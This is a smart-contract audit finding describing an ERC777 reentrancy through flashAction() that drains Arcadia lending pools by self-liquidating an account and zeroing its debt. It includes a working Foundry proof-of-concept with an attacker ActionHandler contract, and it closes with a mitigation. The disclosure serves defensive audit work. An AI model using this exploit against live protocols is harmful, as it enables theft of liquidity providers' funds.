Reentrancy in flashAction() allows draining liquidity pools
It is possible to drain a liquidity pool/creditor if the pool's asset is an ERC777 token by triggering a reentrancy flow using flash actions.\\nThe following vulnerability describes a complex flow that allows draining any liquidity pool where the underlying asset is an ERC777 token. Before diving into the vulnerability, it is important to properly understand and highlight some concepts from Arcadia that are relevant in order to allow this vulnerability to take place:\\nFlash actions: flash actions in Arcadia operate in a similar fashion to flash loans. Any account owner will be able to borrow an arbitrary amount from the creditor without putting any collateral as long as the account remains in a healthy state at the end of execution. The following steps summarize what actually happens when `LendingPool.flashAction()` flow is triggered:\\nThe amount borrowed (plus fees) will be minted to the account as debt tokens. This means that the amount borrowed in the flash action will be accounted as debt during the whole `flashAction()` execution. If a flash action borrowing 30 tokens is triggered for an account that already has 10 tokens in debt, the debt balance of the account will increase to 40 tokens + fees.\\nBorrowed asset will be transferred to the `actionTarget`. The `actionTarget` is an arbitrary address passed as parameter in the `flashAction()`. It is important to be aware of the fact that transferring the borrowed funds is performed prior to calling `flashActionByCreditor()`, which is the function that will end up verifying the account's health state. This is the step where the reentrancy will be triggered by the `actionTarget`.\\nThe account's `flashActionByCreditor()` function is called. This is the last step in the execution function, where a health check for the account is performed (among other things).\\n// LendingPool.sol\\n\\nfunction flashAction(\\n        uint256 amountBorrowed,\\n        address account,\\n        address `actionTarget`, \\n        bytes calldata actionData,\\n        bytes3 referrer\\n    ) external whenBorrowNotPaused processInterests {\\n        ... \\n\\n        uint256 amountBorrowedWithFee = amountBorrowed + amountBorrowed.mulDivUp(originationFee, ONE_4);\\n\\n        ...\\n \\n        // Mint debt tokens to the Account, debt must be minted before the actions in the Account are performed.\\n        _deposit(amountBorrowedWithFee, account);\\n\\n        ...\\n\\n        // Send Borrowed funds to the `actionTarget`.\\n        asset.safeTransfer(actionTarget, amountBorrowed);\\n \\n        // The Action Target will use the borrowed funds (optionally with additional assets withdrawn from the Account)\\n        // to execute one or more actions (swap, deposit, mint...).\\n        // Next the action Target will deposit any of the remaining funds or any of the recipient token\\n        // resulting from the actions back into the Account.\\n        // As last step, after all assets are deposited back into the Account a final health check is done:\\n        // The Collateral Value of all assets in the Account is bigger than the total liabilities against the Account (including the debt taken during this function).\\n        // flashActionByCreditor also checks that the Account indeed has opened a margin account for this Lending Pool.\\n        {\\n            uint256 accountVersion = IAccount(account).flashActionByCreditor(actionTarget, actionData);\\n            if (!isValidVersion[accountVersion]) revert LendingPoolErrors.InvalidVersion();\\n        }\\n \\n        ... \\n    }\\nCollateral value: Each creditor is configured with some risk parameters in the `Registry` contract. One of the risk parameters is the `minUsdValue`, which is the minimum USD value any asset must have when it is deposited into an account for the creditor to consider such collateral as valid. If the asset does not reach the `minUsdValue`, it will simply be accounted with a value of 0. For example: if the `minUsdValue` configured for a given creditor is 100 USD and we deposit an asset in our account worth 99 USD (let's say 99 USDT), the USDT collateral will be accounted as 0. This means that our USDT will be worth nothing at the eyes of the creditor. However, if we deposit one more USDT token into the account, our USD collateral value will increase to 100 USD, reaching the `minUsdValue`. Now, the creditor will consider our account's collateral to be worth 100 USD instead of 0 USD.\\nLiquidations: Arcadia liquidates unhealthy accounts using a dutch-auction model. When a liquidation is triggered via `Liquidator.liquidateAccount()` all the information regarding the debt and assets from the account will be stored in `auctionInformation_` , which maps account addresses to an `AuctionInformation` struct. An important field in this struct is the `assetShares`, which will store the relative value of each asset, with respect to the total value of the Account.\\nWhen a user wants to bid for an account in liquidation, the `Liquidator.bid()` function must be called. An important feature from this function is that it does not require the bidder to repay the loan in full (thus getting the full collateral in the account). Instead, the bidder can specify which collateral asset and amount wants to obtain back, and the contract will compute the amount of debt required to be repaid from the bidder for that amount of collateral. If the user wants to repay the full loan, all the collateral in the account will be specified by the bidder.\\nWith this background, we can now move on to describing the vulnerability in full.\\nInitially, we will create an account and deposit collateral whose value is in the limit of the configured `minUsdValue` (if the `minUsdValue` is 100 tokens, the ideal amount to have will be 100 tokens to maximize gains). We will see why this is required later. The account's collateral and debt status will look like this:\\n\\nThe next step after creating the account is to trigger a flash action. As mentioned in the introduction, the borrowed funds will be sent to the `actionTarget` (this will be a contract we create and control). An important requirement is that if the borrowed asset is an ERC777 token, we will be able to execute the ERC777 callback in our `actionTarget` contract, enabling us to gain control of the execution flow. Following our example, if we borrowed 200 tokens the account's status would look like this:\\n\\nOn receiving the borrowed tokens, the actual attack will begin. TheactionTarget will trigger the `Liquidator.liquidateAccount()` function to liquidate our own account. This is possible because the funds borrowed using the flash action are accounted as debt for our account (as we can see in the previous image, the borrowed amount greatly surpasses our account's collateral value) prior to executing the `actionTarget` ERC777 callback, making the account susceptible of being liquidated. Executing this function will start the auction process and store data relevant to the account and its debt in the `auctionInformation_` mapping.\\nAfter finishing the `liquidateAccount()` execution, the next step for the `actionTarget` is to place a bid for our own account auction calling `Liquidator.bid()`. The trick here is to request a small amount from the account's collateral in the `askedAssetAmounts` array (if we had 100 tokens as collateral in the account, we could ask for only 1). The small requested amount will make the computed `price` to pay for the bid by `_calculateBidPrice()` be really small so that we can maximize our gains. Another requirement will be to set the `endAuction_` parameter to `true` (we will see why later):\\n```\\n// Liquidator.sol\\n\\nfunction bid(address account, uint256[] memory askedAssetAmounts, bool endAuction_) external nonReentrant {\\n        AuctionInformation storage auctionInformation_ = auctionInformation[account];\\n        if (!auctionInformation_.inAuction) revert LiquidatorErrors.NotForSale();\\n\\n        // Calculate the current auction price of the assets being bought.\\n        uint256 totalShare = _calculateTotalShare(auctionInformation_, askedAssetAmounts);\\n        uint256 price = _calculateBidPrice(auctionInformation_, totalShare);\\n    \\n    // Transfer an amount of "price" in "Numeraire" to the LendingPool to repay the Accounts debt.\\n        // The LendingPool will call a "transferFrom" from the bidder to the pool -> the bidder must approve the LendingPool.\\n        // If the amount transferred would exceed the debt, the surplus is paid out to the Account Owner and earlyTerminate is True.\\n        uint128 startDebt = auctionInformation_.startDebt;\\n        bool earlyTerminate = ILendingPool(auctionInformation_.creditor).auctionRepay(\\n            startDebt, auctionInformation_.minimumMargin, price, account, msg.sender\\n        );\\n  // rest of code\\n}\\n```\\n\\nAfter computing the small price to pay for the bid, theLendingPool.auctionRepay() will be called. Because we are repaying a really small amount from the debt, the `accountDebt <= amount` condition will NOT hold, so the only actions performed by `LendingPool.auctionRepay()` will be transferring the small amount of tokens to pay the bid, and `_withdraw()` (burn) the corresponding debt from the account (a small amount of debt will be burnt here because the bid amount is small). It is also important to note that the `earlyTerminate` flag will remain as false:\\n```\\n// LendingPool.sol\\n\\nfunction auctionRepay(uint256 startDebt, uint256 minimumMargin_, uint256 amount, address account, address bidder)\\n        external\\n        whenLiquidationNotPaused\\n        onlyLiquidator \\n        processInterests\\n        returns (bool earlyTerminate)\\n    {\\n        // Need to transfer before burning debt or ERC777s could reenter.\\n        // Address(this) is trusted -> no risk on re-entrancy attack after transfer.\\n        asset.safeTransferFrom(bidder, address(this), amount);\\n\\n        uint256 accountDebt = maxWithdraw(account); \\n        if (accountDebt == 0) revert LendingPoolErrors.IsNotAnAccountWithDebt();\\n        if (accountDebt <= amount) {\\n            // The amount recovered by selling assets during the auction is bigger than the total debt of the Account.\\n            // -> Terminate the auction and make the surplus available to the Account-Owner.\\n            earlyTerminate = true;\\n            unchecked {\\n                _settleLiquidationHappyFlow(account, startDebt, minimumMargin_, bidder, (amount - accountDebt));\\n            }\\n            amount = accountDebt;\\n        }\\n  \\n        _withdraw(amount, address(this), account); \\n\\n        emit Repay(account, bidder, amount);\\n    }\\n```\\n\\nAfter `LendingPool.auctionRepay()` , execution will go back to `Liquidator.bid()`. The account's `auctionBid()` function will then be called, which will transfer the 1 token requested by the bidder in the `askedAssetAmounts` parameter from the account's collateral to the bidder. This is the most important concept in the attack. Because 1 token is moving out from the account's collateral, the current collateral value from the account will be decreased from 100 USD to 99 USD, making the collateral value be under the minimum `minUsdValue` amount of 100 USD, and thus making the collateral value from the account go straight to 0 at the eyes of the creditor:\\n\\nBecause the `earlyTerminate` was NOT set to `true` in `LendingPool.auctionRepay()`, the `if (earlyTerminate)` condition will be skipped, going straight to evaluate the `else if (endAuction_)` condition . Because we set theendAuction_ parameter to `true` when calling the `bid()` function, `_settleAuction()` will execute.\\n```\\n// Liquidator.sol\\n\\nfunction bid(address account, uint256[] memory askedAssetAmounts, bool endAuction_) external nonReentrant {\\n        // rest of code\\n    \\n    // Transfer the assets to the bidder.\\n        IAccount(account).auctionBid(\\n            auctionInformation_.assetAddresses, auctionInformation_.assetIds, askedAssetAmounts, msg.sender\\n        );\\n        // If all the debt is repaid, the auction must be ended, even if the bidder did not set endAuction to true.\\n        if (earlyTerminate) {\\n            // Stop the auction, no need to do a health check for the account since it has no debt anymore.\\n            _endAuction(account);\\n        }\\n        // If not all debt is repaid, the bidder can still earn a termination incentive by ending the auction\\n        // if one of the conditions to end the auction is met.\\n        // "_endAuction()" will silently fail without reverting, if the auction was not successfully ended.\\n        else if (endAuction_) {\\n            if (_settleAuction(account, auctionInformation_)) _endAuction(account);\\n        } \\n    }\\n```\\n\\n`_settleAuction()` is where the final steps of the attack will take place. Because we made the collateral value of our account purposely decrease from the `minUsdValue`, `_settleAuction` will interpret that all collateral has been sold, and the `else if (collateralValue == 0)` will evaluate to true, making the creditor's `settleLiquidationUnhappyFlow()` function be called:\\n```\\nfunction _settleAuction(address account, AuctionInformation storage auctionInformation_)\\n        internal\\n        returns (bool success)\\n    {\\n        // Cache variables.\\n        uint256 startDebt = auctionInformation_.startDebt;\\n        address creditor = auctionInformation_.creditor;\\n        uint96 minimumMargin = auctionInformation_.minimumMargin;\\n\\n        uint256 collateralValue = IAccount(account).getCollateralValue();\\n        uint256 usedMargin = IAccount(account).getUsedMargin();\\n \\n        // Check the different conditions to end the auction.\\n        if (collateralValue >= usedMargin || usedMargin == minimumMargin) { \\n            // Happy flow: Account is back in a healthy state.\\n            // An Account is healthy if the collateral value is equal or greater than the used margin.\\n            // If usedMargin is equal to minimumMargin, the open liabilities are 0 and the Account is always healthy.\\n            ILendingPool(creditor).settleLiquidationHappyFlow(account, startDebt, minimumMargin, msg.sender);\\n        } else if (collateralValue == 0) {\\n            // Unhappy flow: All collateral is sold.\\n            ILendingPool(creditor).settleLiquidationUnhappyFlow(account, startDebt, minimumMargin, msg.sender);\\n        }\\n    // rest of code\\n     \\n    \\n        return true;\\n    }\\n```\\n\\nExecuting the `settleLiquidationUnhappyFlow()` will burn ALL the remaining debt (balanceOf[account] will return all the remaining balance of debt tokens for the account), and the liquidation will be finished, calling `_endLiquidation()` and leaving the account with 99 tokens of collateral and a 0 amount of debt (and the `actionTarget` with ALL the borrowed funds taken from the flash action).\\n```\\n// LendingPool.sol\\n\\nfunction settleLiquidationUnhappyFlow(\\n        address account,\\n        uint256 startDebt,\\n        uint256 minimumMargin_,\\n        address terminator\\n    ) external whenLiquidationNotPaused onlyLiquidator processInterests {\\n        // rest of code\\n\\n        // Any remaining debt that was not recovered during the auction must be written off.\\n        // Depending on the size of the remaining debt, different stakeholders will be impacted.\\n        uint256 debtShares = balanceOf[account];\\n        uint256 openDebt = convertToAssets(debtShares);\\n        uint256 badDebt;\\n        // rest of code\\n\\n        // Remove the remaining debt from the Account now that it is written off from the liquidation incentives/Liquidity Providers.\\n        _burn(account, debtShares);\\n        realisedDebt -= openDebt;\\n        emit Withdraw(msg.sender, account, account, openDebt, debtShares);\\n\\n        _endLiquidation();\\n\\n        emit AuctionFinished(\\n            account, address(this), startDebt, initiationReward, terminationReward, liquidationPenalty, badDebt, 0\\n        );\\n    }\\n```\\n\\nAfter the actionTarget's ERC777 callback execution, the execution flow will return to the initially called `flashAction()` function, and the final `IAccount(account).flashActionByCreditor()` function will be called, which will pass all the health checks due to the fact that all the debt from the account was burnt:\\n```\\n// LendingPool.sol\\n\\nfunction flashAction(\\n        uint256 amountBorrowed,\\n        address account,\\n        address actionTarget, \\n        bytes calldata actionData,\\n        bytes3 referrer\\n    ) external whenBorrowNotPaused processInterests {\\n        \\n    // rest of code \\n \\n        // The Action Target will use the borrowed funds (optionally with additional assets withdrawn from the Account)\\n        // to execute one or more actions (swap, deposit, mint// rest of code).\\n        // Next the action Target will deposit any of the remaining funds or any of the recipient token\\n        // resulting from the actions back into the Account.\\n        // As last step, after all assets are deposited back into the Account a final health check is done:\\n        // The Collateral Value of all assets in the Account is bigger than the total liabilities against the Account (including the debt taken during this function).\\n        // flashActionByCreditor also checks that the Account indeed has opened a margin account for this Lending Pool.\\n        {\\n            uint256 accountVersion = IAccount(account).flashActionByCreditor(actionTarget, actionData);\\n            if (!isValidVersion[accountVersion]) revert LendingPoolErrors.InvalidVersion();\\n        }\\n \\n        // rest of code \\n    }\\n```\\n\\n```\\n// AccountV1.sol\\n\\nfunction flashActionByCreditor(address actionTarget, bytes calldata actionData)\\n        external\\n        nonReentrant\\n        notDuringAuction\\n        updateActionTimestamp\\n        returns (uint256 accountVersion)\\n    {\\n        \\n    // rest of code\\n\\n        // Account must be healthy after actions are executed.\\n        if (isAccountUnhealthy()) revert AccountErrors.AccountUnhealthy();\\n\\n        // rest of code\\n    }\\n```\\n\\nProof of Concept\\nThe following proof of concept illustrates how the previously described attack can take place. Follow the steps in order to reproduce it:\\nCreate a `ERC777Mock.sol` file in `lib/accounts-v2/test/utils/mocks/tokens` and paste the code found in this github gist.\\nImport the ERC777Mock and change the MockOracles, MockERC20 and Rates structs in `lib/accounts-v2/test/utils/Types.sol` to add an additional `token777ToUsd`, `token777` of type ERC777Mock and `token777ToUsd` rate:\\n`import "../utils/mocks/tokens/ERC777Mock.sol"; // <----- Import this\\n\\n...\\n\\nstruct MockOracles {\\n    ArcadiaOracle stable1ToUsd;\\n    ArcadiaOracle stable2ToUsd;\\n    ArcadiaOracle token1ToUsd;\\n    ArcadiaOracle token2ToUsd;\\n    ArcadiaOracle token3ToToken4;\\n    ArcadiaOracle token4ToUsd;\\n    ArcadiaOracle token777ToUsd; // <----- Add this\\n    ArcadiaOracle nft1ToToken1;\\n    ArcadiaOracle nft2ToUsd;\\n    ArcadiaOracle nft3ToToken1;\\n    ArcadiaOracle sft1ToToken1;\\n    ArcadiaOracle sft2ToUsd;\\n}\\n\\nstruct MockERC20 {\\n    ERC20Mock stable1;\\n    ERC20Mock stable2;\\n    ERC20Mock token1;\\n    ERC20Mock token2;\\n    ERC20Mock token3;\\n    ERC20Mock token4;\\n    ERC777Mock token777; // <----- Add this\\n}\\n\\n...\\n\\nstruct Rates {\\n    uint256 stable1ToUsd;\\n    uint256 stable2ToUsd;\\n    uint256 token1ToUsd;\\n    uint256 token2ToUsd;\\n    uint256 token3ToToken4;\\n    uint256 token4ToUsd;\\n    uint256 token777ToUsd; // <----- Add this\\n    uint256 nft1ToToken1;\\n    uint256 nft2ToUsd;\\n    uint256 nft3ToToken1;\\n    uint256 sft1ToToken1;\\n    uint256 sft2ToUsd;\\n}`\\nReplace the contents inside `lib/accounts-v2/test/fuzz/Fuzz.t.sol` for the code found in this github gist.\\nTo finish the setup, replace the file found in `lending-v2/test/fuzz/Fuzz.t.sol` for the code found in this github gist.\\nFor the actual proof of concept, create a `Poc.t.sol` file in `test/fuzz/LendingPool` and paste the following code. The code contains the proof of concept test, as well as the action target implementation:\\n/**\\n * Created by Pragma Labs\\n * SPDX-License-Identifier: BUSL-1.1\\n */\\npragma solidity 0.8.22;\\n\\nimport { LendingPool_Fuzz_Test } from "./_LendingPool.fuzz.t.sol";\\n\\nimport { ActionData, IActionBase } from "../../../lib/accounts-v2/src/interfaces/IActionBase.sol";\\nimport { IPermit2 } from "../../../lib/accounts-v2/src/interfaces/IPermit2.sol";\\n\\n/// @notice Proof of Concept - Arcadia\\ncontract Poc is LendingPool_Fuzz_Test {\\n\\n    /////////////////////////////////////////////////////////////////\\n    //                        TEST CONTRACTS                       //\\n    /////////////////////////////////////////////////////////////////\\n\\n    ActionHandler internal actionHandler;\\n    bytes internal callData;\\n\\n    /////////////////////////////////////////////////////////////////\\n    //                          SETUP                              //\\n    /////////////////////////////////////////////////////////////////\\n\\n    function setUp() public override {\\n        // Setup pool test\\n        LendingPool_Fuzz_Test.setUp();\\n\\n        // Deploy action handler\\n        vm.prank(users.creatorAddress);\\n        actionHandler = new ActionHandler(address(liquidator), address(proxyAccount));\\n\\n        // Set origination fee\\n        vm.prank(users.creatorAddress);\\n        pool.setOriginationFee(100); // 1%\\n\\n        // Transfer some tokens to actiontarget to perform liquidation repayment and approve tokens to be transferred to pool \\n        vm.startPrank(users.liquidityProvider);\\n        mockERC20.token777.transfer(address(actionHandler), 1 ether);\\n        mockERC20.token777.approve(address(pool), type(uint256).max);\\n\\n        // Deposit 100 erc777 tokens into pool\\n        vm.startPrank(address(srTranche));\\n        pool.depositInLendingPool(100 ether, users.liquidityProvider);\\n        assertEq(mockERC20.token777.balanceOf(address(pool)), 100 ether);\\n\\n        // Approve creditor from actiontarget for bid payment\\n        vm.startPrank(address(actionHandler));\\n        mockERC20.token777.approve(address(pool), type(uint256).max);\\n\\n    }\\n\\n    /////////////////////////////////////////////////////////////////\\n    //                           POC                               //\\n    /////////////////////////////////////////////////////////////////\\n    /// @notice Test exploiting the reentrancy vulnerability. \\n    /// Prerequisites:\\n    /// - Create an actionTarget contract that will trigger the attack flow using the ERC777 callback when receiving the \\n    ///   borrowed funds in the flash action.\\n    /// - Have some liquidity deposited in the pool in order to be able to borrow it\\n    /// Attack:\\n    /// 1. Open a margin account in the creditor to be exploited.\\n    /// 2. Deposit a small amount of collateral. This amount needs to be big enough to cover the `minUsdValue` configured\\n    /// in the registry for the given creditor.\\n    /// 3. Create the `actionData` for the account's `flashAction()` function. The data contained in it (withdrawData, transferFromOwnerData,\\n    /// permit, signature and actionTargetData) can be empty, given that such data is not required for the attack.\\n    /// 4. Trigger LendingPool.flashAction(). The execution flow will:\\n    ///     a. Mint the flash-actioned debt to the account\\n    ///     b. Send the borrowed funds to the action target\\n    ///     c. The action target will execute the ERC777 `tokensReceived()` callback, which will:\\n    ///        - Trigger Liquidator.liquidateAccount(), which will set the account in an auction state\\n    ///        - Trigger Liquidator.bid(). \\n \\n    function testVuln_reentrancyInFlashActionEnablesStealingAllProtocolFunds(\\n        uint128 amountLoaned,\\n        uint112 collateralValue,\\n        uint128 liquidity,\\n        uint8 originationFee\\n    ) public {   \\n\\n        //----------            STEP 1            ----------//\\n        // Open a margin account\\n        vm.startPrank(users.accountOwner);\\n        proxyAccount.openMarginAccount(address(pool)); \\n        \\n        //----------            STEP 2            ----------//\\n        // Deposit 1 stable token in the account as collateral.\\n        // Note: The creditors's `minUsdValue` is set to 1 * 10 ** 18. Because\\n        // value is converted to an 18-decimal number and the asset is pegged to 1 dollar,\\n        // depositing an amount of 1 * 10 ** 6 is the actual minimum usd amount so that the \\n        // account's collateral value is not considered as 0.\\n        depositTokenInAccount(proxyAccount, mockERC20.stable1, 1 * 10 ** 6);\\n        assertEq(proxyAccount.getCollateralValue(), 1 * 10 ** 18);\\n\\n        //----------            STEP 3            ----------//\\n        // Create empty action data. The action handler won't withdraw/deposit any asset from the account \\n        // when the `flashAction()` callback in the account is triggered. Hence, action data will contain empty elements.\\n        callData = _buildActionData();\\n\\n        // Fetch balances from the action handler (who will receive all the borrowed funds from the flash action)\\n        // as well as the pool. \\n        // Action handler balance initially has 1 token of `token777` (given initially on deployment)\\n        assertEq(mockERC20.token777.balanceOf(address(actionHandler)), 1 * 10 ** 18);\\n        uint256 liquidityPoolBalanceBefore =  mockERC20.token777.balanceOf(address(pool));\\n        uint256 actionHandlerBalanceBefore =  mockERC20.token777.balanceOf(address(actionHandler));\\n        // Pool initially has 100 tokens of `token777` (deposited by the liquidity provider in setUp())\\n        assertEq(mockERC20.token777.balanceOf(address(pool)), 100 * 10 ** 18);\\n\\n        //----------            STEP 4            ----------//\\n        // Step 4. Trigger the flash action.\\n        vm.startPrank(users.accountOwner);\\n\\n        pool.flashAction(100 ether , address(proxyAccount), address(actionHandler), callData, emptyBytes3);\\n        vm.stopPrank();\\n \\n        \\n        //----------       FINAL ASSERTIONS       ----------//\\n\\n        // Action handler (who is the receiver of the borrowed funds in the flash action) has succesfully obtained 100 tokens from \\n        //the pool, and in the end it has nearly 101 tokens (initially it had 1 token, plus the 100 tokens stolen \\n        // from the pool minus the small amount required to pay for the bid)\\n        assertGt(mockERC20.token777.balanceOf(address(actionHandler)), 100 * 10 ** 18);\\n\\n        // On the other hand, pool has lost nearly all of its balance, only remaining the small amount paid from the \\n        // action handler in order to bid\\n        assertLt(mockERC20.token777.balanceOf(address(pool)), 0.05 * 10 ** 18);\\n    \\n    } \\n\\n    /// @notice Internal function to build the `actionData` payload needed to execute the `flashActionByCreditor()` \\n    /// callback when requesting a flash action\\n    function _buildActionData() internal returns(bytes memory) {\\n        ActionData memory emptyActionData;\\n        address[] memory to;\\n        bytes[] memory data;\\n        bytes memory actionTargetData = abi.encode(emptyActionData, to, data);\\n        IPermit2.PermitBatchTransferFrom memory permit;\\n        bytes memory signature;\\n        return abi.encode(emptyActionData, emptyActionData, permit, signature, actionTargetData);\\n    }\\n}\\n\\n/// @notice ERC777Recipient interface\\ninterface IERC777Recipient {\\n   \\n    function tokensReceived(\\n        address operator,\\n        address from,\\n        address to,\\n        uint256 amount,\\n        bytes calldata userData,\\n        bytes calldata operatorData\\n    ) external;\\n}\\n\\n /// @notice Liquidator interface\\ninterface ILiquidator {\\n    function liquidateAccount(address account) external;\\n    function bid(address account, uint256[] memory askedAssetAmounts, bool endAuction_) external;\\n}\\n\\n /// @notice actionHandler contract that will trigger the attack via ERC777's `tokensReceived()` callback\\ncontract ActionHandler is IERC777Recipient, IActionBase {\\n\\n    ILiquidator public immutable liquidator;\\n    address public immutable account;\\n    uint256 triggered;\\n\\n    constructor(address _liquidator, address _account) {\\n        liquidator = ILiquidator(_liquidator);\\n        account = _account;\\n    }  \\n\\n   /// @notice ERC777 callback function\\n    function tokensReceived(\\n        address operator,\\n        address from,\\n        address to,\\n        uint256 amount,\\n        bytes calldata userData,\\n        bytes calldata operatorData\\n    ) external {\\n        // Only trigger the callback once (avoid triggering it while receiving funds in the setup + when receiving final funds)\\n        if(triggered == 1) {\\n            triggered = 2;\\n            liquidator.liquidateAccount(account);\\n            uint256[] memory askedAssetAmounts = new uint256[](1);\\n            askedAssetAmounts[0] = 1; // only ask for 1 wei of token so that we repay a small share of the debt\\n            liquidator.bid(account, askedAssetAmounts, true);\\n        }\\n    unchecked{\\n         triggered++;\\n    }\\n    }\\n\\n    function executeAction(bytes calldata actionTargetData) external returns (ActionData memory) {\\n        ActionData memory data;\\n        return data;\\n    }\\n\\n}\\nExecute the proof of concept with the following command (being inside the `lending-v2` folder): `forge test --mt testVuln_reentrancyInFlashActionEnablesStealingAllProtocolFunds`
This attack is possible because the `getCollateralValue()` function returns a 0 collateral value due to the `minUsdValue` mentioned before not being reached after executing the bid. The Liquidator's `_settleAuction()` function then believes the collateral held in the account is 0.\\nIn order to mitigate the issue, consider fetching the actual real collateral value inside `_settleAuction()` even if it is less than the `minUsdValue` held in the account, so that the function can properly check if the full collateral was sold or not.\\n```\\n// Liquidator.sol\\nfunction _settleAuction(address account, AuctionInformation storage auctionInformation_)\\n        internal\\n        returns (bool success)\\n    {\\n        // rest of code\\n\\n        uint256 collateralValue = IAccount(account).getCollateralValue(); // <----- Fetch the REAL collateral value instead of reducing it to 0 if `minUsdValue` is not reached\\n        \\n \\n        // rest of code\\n    }\\n```\\n
The impact for this vulnerability is high. All funds deposited in creditors with ERC777 tokens as the underlying asset can be drained.
```\\n// Liquidator.sol\\n\\nfunction bid(address account, uint256[] memory askedAssetAmounts, bool endAuction_) external nonReentrant {\\n        AuctionInformation storage auctionInformation_ = auctionInformation[account];\\n        if (!auctionInformation_.inAuction) revert LiquidatorErrors.NotForSale();\\n\\n        // Calculate the current auction price of the assets being bought.\\n        uint256 totalShare = _calculateTotalShare(auctionInformation_, askedAssetAmounts);\\n        uint256 price = _calculateBidPrice(auctionInformation_, totalShare);\\n    \\n    // Transfer an amount of "price" in "Numeraire" to the LendingPool to repay the Accounts debt.\\n        // The LendingPool will call a "transferFrom" from the bidder to the pool -> the bidder must approve the LendingPool.\\n        // If the amount transferred would exceed the debt, the surplus is paid out to the Account Owner and earlyTerminate is True.\\n        uint128 startDebt = auctionInformation_.startDebt;\\n        bool earlyTerminate = ILendingPool(auctionInformation_.creditor).auctionRepay(\\n            startDebt, auctionInformation_.minimumMargin, price, account, msg.sender\\n        );\\n  // rest of code\\n}\\n```\\n